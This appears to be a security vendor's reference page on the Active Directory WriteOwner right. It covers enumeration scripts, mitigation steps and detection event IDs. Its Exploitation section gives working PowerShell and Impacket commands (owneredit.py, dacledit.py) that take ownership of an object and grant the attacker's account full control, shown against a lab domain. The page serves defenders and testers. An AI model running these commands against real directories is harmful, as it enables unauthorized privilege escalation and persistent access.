WriteOwner

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Summary


Forestall ACL Alias	WriteOwner
AD Alias	Modify Owner
Affected Object Types	Users, Groups, Computers, Domains
Exploitation Certainty	Certain
AD Right	WriteOwner

Description

The WriteOwner permission in Active Directory allows a user to change the ownership of an object, such as user accounts, groups, or computers. This permission is essential for administrative tasks, enabling proper delegation and management within the directory.

However, if misconfigured, the WriteOwner permission can pose significant security risks. An attacker with this permission can assign ownership of an object to themselves. nce ownership is taken, the attacker can modify the object’s permissions to grant themselves additional rights, such as full control. This can lead to unauthorized access, privilege escalation, and persistent access within the system.

Identification

PowerShell

Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate WriteOwner entries.

1. Find-WriteOwner Function

function Find-WriteOwner {
    [CmdletBinding()]
    param ([string]$SearchBase = $null,[string]$OutputPath = "WriteOwner.csv",[string]$Target = $null,[switch]$ExcludeAdmins)
    Import-Module ActiveDirectory -ErrorAction Stop
    Write-Host "Gathering Active Directory objects and inspecting ACLs for vulnerable WriteOwner permissions..."
    $Allow = [System.Security.AccessControl.AccessControlType]::Allow
    $Right = [System.DirectoryServices.ActiveDirectoryRights]::WriteOwner
    $DomainNetBIOSName = $null
    try { $DomainNetBIOSName = (Get-ADDomain).NetBIOSName } catch {}
    $ExcludedSIDs = @()
    if ($ExcludeAdmins) {
        Write-Host "Excluding default/well-known privileged principals..."
        $ExcludedSIDs += New-Object System.Security.Principal.SecurityIdentifier 'S-1-3-0'
        $nameCandidates = @(
            'NT AUTHORITY\SYSTEM','NT AUTHORITY\SELF','BUILTIN\Administrators','BUILTIN\Account Operators','BUILTIN\Server Operators','BUILTIN\Backup Operators','BUILTIN\Print Operators','NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS')
        if ($DomainNetBIOSName) {$nameCandidates += @( "$DomainNetBIOSName\Domain Admins","$DomainNetBIOSName\Enterprise Admins","$DomainNetBIOSName\Schema Admins","$DomainNetBIOSName\Domain Controllers", "$DomainNetBIOSName\Key Admins","$DomainNetBIOSName\RAS and IAS Servers","$DomainNetBIOSName\DnsAdmins","$DomainNetBIOSName\Enterprise Key Admins")}
        foreach ($n in $nameCandidates) {try {$sid = (New-Object System.Security.Principal.NTAccount $n).Translate([System.Security.Principal.SecurityIdentifier]); $ExcludedSIDs += $sid} catch {}}
        Get-ADDomainController -Filter * | ForEach-Object { $ExcludedSIDs += (Get-ADComputer -Identity $_.Name -Properties SID).SID}
        $ExcludedSIDs = $ExcludedSIDs | Select-Object -Unique
    }
    $objectsToScan = @()
    try {
        if ($Target) {
            Write-Host "Targeting single object DN: $Target"
            $obj = Get-ADObject -Identity $Target -ErrorAction Stop
            if ($obj) { $objectsToScan = @($obj) }
        } else {
            $adObjectParams = @{
                LDAPFilter       = "(objectClass=*)"
                ResultPageSize   = 2000
                ResultSetSize    = $null
                ErrorAction      = "Stop"
            }
            if ($SearchBase) {$adObjectParams["SearchBase"] = $SearchBase;Write-Host "Searching for objects within '$SearchBase'."} else { Write-Host "Searching for all objects in the domain." }
            $objectsToScan = Get-ADObject @adObjectParams
        }
        if (-not $objectsToScan -or $objectsToScan.Count -eq 0) {Write-Output "No objects found matching the criteria."; return }}catch { Write-Error "Failed to retrieve Active Directory objects: $($_.Exception.Message)"; return}
    $results = New-Object System.Collections.Generic.List[object]
    foreach ($obj in $objectsToScan) {
        $dn = $obj.DistinguishedName
        try {
            $acl = Get-Acl -Path "AD:$dn" -ErrorAction Stop
            foreach ($ace in $acl.Access) {
                if ($ace.AccessControlType -ne $Allow) { continue };if (-not (($ace.ActiveDirectoryRights -band $Right) -eq $Right)) { continue }
                if ($ace.IsInherited) { continue }
                  if ($ExcludeAdmins) {$aceSid = $null
                    try {$aceSid = $ace.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier])} catch {}
                    if ($aceSid -and ($ExcludedSIDs -contains $aceSid)) {continue }
                }
                $results.Add([PSCustomObject]@{'Object Distinguished Name' = $dn
                    'Permission Holder'         = $ace.IdentityReference.Value
                    'IsInherited'               = $ace.IsInherited
                    'ACE Type'                  = $ace.AccessControlType
                    'Rights (bitmask)'          = $ace.ActiveDirectoryRights
                })}}catch {Write-Warning "Could not retrieve ACL for '$dn': $($_.Exception.Message)"}}
    if ($results.Count -gt 0) {
        Write-Host "Found $($results.Count) object(s) with vulnerable WriteOwner permissions$(if($ExcludeAdmins){' (excluding default entries)'})."
        try {$results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop ;Write-Output "Results exported successfully to '$OutputPath'"}
        catch { Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)" } } else { Write-Output "No Active Directory objects found with vulnerable WriteOwner permissions$(if($ExcludeAdmins){' (after exclusions)'})." }}

2. Scan all domain objects

Find-WriteOwner

3. Scan a specific object

Find-WriteOwner -Target "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"

4. Exclude default admins for clear visibility

Find-WriteOwner -ExcludeAdmins -Target "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"

5. Using SearchBase to limit the Scope

Find-WriteOwner -SearchBase "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate WriteOwner entries without relying on any external modules or dependencies.

1. Find-WriteOwnerSimple Function

function Find-WriteOwnerSimple {
    [CmdletBinding()]
    param ([string]$SearchBase = $null,[string]$OutputPath = "WriteOwner.csv", [string]$Target = $null,[switch]$ExcludeAdmins)
    $Allow = [System.Security.AccessControl.AccessControlType]::Allow
    $Right = [System.DirectoryServices.ActiveDirectoryRights]::WriteOwner
    try {$root   = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE");
        $baseDN = $root.Properties["defaultNamingContext"].Value} catch {Write-Error "Failed to bind RootDSE: $_" ;return }
    $ExcludedSIDs = @()
    if ($ExcludeAdmins) {
        $names = @('NT AUTHORITY\SYSTEM','NT AUTHORITY\SELF','BUILTIN\Administrators', 'BUILTIN\Account Operators','BUILTIN\Server Operators','BUILTIN\Backup Operators','BUILTIN\Print Operators','NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS')
        $dom = $env:USERDOMAIN
        if ($dom) {$names += @( "$dom\Domain Admins","$dom\Enterprise Admins","$dom\Schema Admins","$dom\Domain Controllers", "$dom\Key Admins","$dom\Enterprise Key Admins", "$dom\DnsAdmins","$dom\RAS and IAS Servers")}
        foreach ($n in $names) {try {$ExcludedSIDs += ([System.Security.Principal.NTAccount]$n).Translate([System.Security.Principal.SecurityIdentifier])} catch {}}
        try {
            $dcOU = "LDAP://OU=Domain Controllers,$baseDN"
            $dcRoot = New-Object System.DirectoryServices.DirectoryEntry($dcOU)
            $ds = New-Object System.DirectoryServices.DirectorySearcher($dcRoot)
            $ds.Filter = "(objectCategory=computer)"; $ds.PageSize = 1000
            [void]$ds.PropertiesToLoad.Add("objectSid");$dcs = $ds.FindAll()
            foreach ($dc in $dcs) {
                try {$sidBytes = $dc.Properties["objectSid"][0];if ($sidBytes) { $ExcludedSIDs += New-Object System.Security.Principal.SecurityIdentifier($sidBytes,0) }} catch {}}} catch {}
        try { $ExcludedSIDs += New-Object System.Security.Principal.SecurityIdentifier 'S-1-3-0' } catch {}
        $ExcludedSIDs = $ExcludedSIDs | Select-Object -Unique
    }
    $entries = @()
    if ($Target) { try {$entries = @( New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target") )} catch {Write-Error "Failed to bind to target '$Target': $_" ;return } } else {
        $searchBaseDN = $SearchBase
        if (-not $searchBaseDN) { $searchBaseDN = $baseDN }
        try {
            $searchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$searchBaseDN")
            $ds = New-Object System.DirectoryServices.DirectorySearcher($searchRoot)
            $ds.Filter = "(objectClass=*)";$ds.PageSize = 1000
            [void]$ds.PropertiesToLoad.Add("distinguishedName");$hits = $ds.FindAll()
            $entries = foreach ($h in $hits) {
                try { $h.GetDirectoryEntry() } catch {}}} catch {Write-Error "LDAP enumeration failed: $_"; return}}
    $results = New-Object System.Collections.Generic.List[object]
    foreach ($entry in $entries) {
        if (-not $entry) { continue };$dn = $null
        try { $dn = $entry.Properties["distinguishedName"][0] } catch {};if (-not $dn) { continue }
        try {$acl  = $entry.ObjectSecurity ;$aces = $acl.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])} catch { Write-Warning "Could not read ACL for $dn : $_";  continue }
        foreach ($ace in $aces) {
            if ($ace.AccessControlType -ne $Allow) { continue } ;if ( ($ace.ActiveDirectoryRights -band $Right) -ne $Right ) { continue }
            if ($ace.IsInherited) { continue }
            if ($ExcludeAdmins) { try {$aceSid = [System.Security.Principal.SecurityIdentifier]$ace.IdentityReference;if ($ExcludedSIDs -and ($ExcludedSIDs -contains $aceSid)) { continue }} catch {}}
            $who = try {$ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value} catch {$ace.IdentityReference.Value}
            $results.Add([PSCustomObject]@{'Object Distinguished Name' = $dn; 'Permission Holder'         = $who; 'IsInherited'               = $ace.IsInherited; 'ACE Type'                  = $ace.AccessControlType; 'Rights (bitmask)'          = $ace.ActiveDirectoryRights})}}
    if ($results.Count -gt 0) { try { $results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8; Write-Host "Exported $($results.Count) entr$(if($results.Count -eq 1){'y'}else{'ies'}) to $OutputPath"} catch {Write-Error "Failed to export results: $_"}} else { Write-Host "No objects found with explicit non-inherited WriteOwner ACEs$(if($ExcludeAdmins){' after exclusions'})" }}

2. Scan all domain objects

Find-WriteOwnerSimple

3. Scan a specific object

Find-WriteOwnerSimple -Target "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"

4. Exclude default admins for clear visibility

Find-WriteOwnerSimple -ExcludeAdmins -Target "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"

5. Using SearchBase to limit the Scope

Find-WriteOwnerSimple -SearchBase "CN=Builtin,DC=Forestall,DC=labs"

Active Directory Users and Computers

1. Open Active Directory Users and Computers on your Windows server.

2. Right-click on the Object name.

3. Select Properties from the context menu.

4. In the Properties window, navigate to the Security tab.

5. Click the Advanced button to open the Advanced Security Settings dialog.

6. In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

7. Click Edit to modify the selected ACE.

8. In the permissions list, locate and select the Modify owner permission.

9. Click OK to save your changes and close the dialogs.

Exploitation

After granting our controlled attacker account Full Control over the object, further exploitation can be carried out. For detailed techniques and scenarios, please refer to GenericAll.

The following examples demonstrate exploitation on Windows and Linux environments.

Windows

To change the object’s owner using AD Module

Import-Module ActiveDirectory
$objectDN = "<Vulnerable User>"
$acl = Get-Acl -Path "AD:$objectDN"
$newOwner = "<Attacker/Internal Threat>"
$acl.SetOwner([System.Security.Principal.NTAccount]$newOwner)
Set-Acl -Path "AD:$objectDN" -AclObject $acl

Example:

Import-Module ActiveDirectory
$objectDN = "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"
$acl = Get-Acl -Path "AD:$objectDN"
$newOwner = "forestall\adam"
$acl.SetOwner([System.Security.Principal.NTAccount]$newOwner)
Set-Acl -Path "AD:$objectDN" -AclObject $acl

Now FullControl access can be granted to the controlled user

Import-Module ActiveDirectory
$objectDN  = "<objectDn>"
$targetUser = New-Object System.Security.Principal.NTAccount("<domain>","<user>")
$acl              = Get-Acl -Path "AD:$objectDN"
$fullControlRule  = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($targetUser,[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,[System.Security.AccessControl.AccessControlType]::Allow)
$acl.AddAccessRule($fullControlRule)
Set-Acl -Path "AD:$objectDN" -AclObject $acl

Example:

Import-Module ActiveDirectory
$objectDN  = "CN=John,OU=Users,DC=forestall,DC=labs"
$targetUser = New-Object System.Security.Principal.NTAccount("FORESTALL","adam")
$acl              = Get-Acl -Path "AD:$objectDN"
$fullControlRule  = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($targetUser,[System.DirectoryServices.ActiveDirectoryRights]::GenericAll, [System.Security.AccessControl.AccessControlType]::Allow)
$acl.AddAccessRule($fullControlRule)
Set-Acl -Path "AD:$objectDN" -AclObject $acl

Linux

To change the object’s owner using `owneredit.py`

owneredit.py -new-owner <user> -target <targetobject> -action write <domain>/<user>:'<pass>' -dc-ip <dc-ip>

Example:

owneredit.py -new-owner adam -target john -action write forestall.labs/adam:'Temp123!' -dc-ip 192.168.231.21

Now FullControl access can be granted to the controlled user

dacledit.py -rights FullControl -principal <user> -target <targetObject> -action write <domain>/<user>:'<pass>' -dc-ip <dcip>

Example:

dacledit.py -rights FullControl -principal adam -target john -action write forestall.labs/adam:'Temp123!' -dc-ip 192.168.231.21

Mitigation

Access Control Entries identified as dangerous should be removed by following the steps below.

1. Open Active Directory Users and Computers, and enable the Advanced Features option.

2. Double click the affected object and open Security tab.

3. In this tab, click Advanced button and open the risky Access Control Entry.

4. Remove the Modify Owner right.

5. Click OK and Apply buttons for saving changes.

Detection

Ownership changes modify the ntSecurityDescriptor of an Active Directory object. Monitor for these events:

Event ID	Description	Fields/Attributes	References
5136	A directory service object was modified.	AttributeLDAPDisplayName (expected value `ntSecurityDescriptor`), ObjectDN	https://learn.microsoft.com/windows/security/threat-protection/auditing/event-5136
4662	An operation was performed on an object.	ObjectType, ObjectName, AccessMask	https://learn.microsoft.com/windows/security/threat-protection/auditing/event-4662

WriteOwner

Summary

Description

Identification

PowerShell

Active Directory Module

.NET Directory Services

Active Directory Users and Computers

Exploitation

Windows

To change the object’s owner using AD Module

Now FullControl access can be granted to the controlled user

Linux

To change the object’s owner using owneredit.py

Now FullControl access can be granted to the controlled user

Mitigation

Detection

References

To change the object’s owner using `owneredit.py`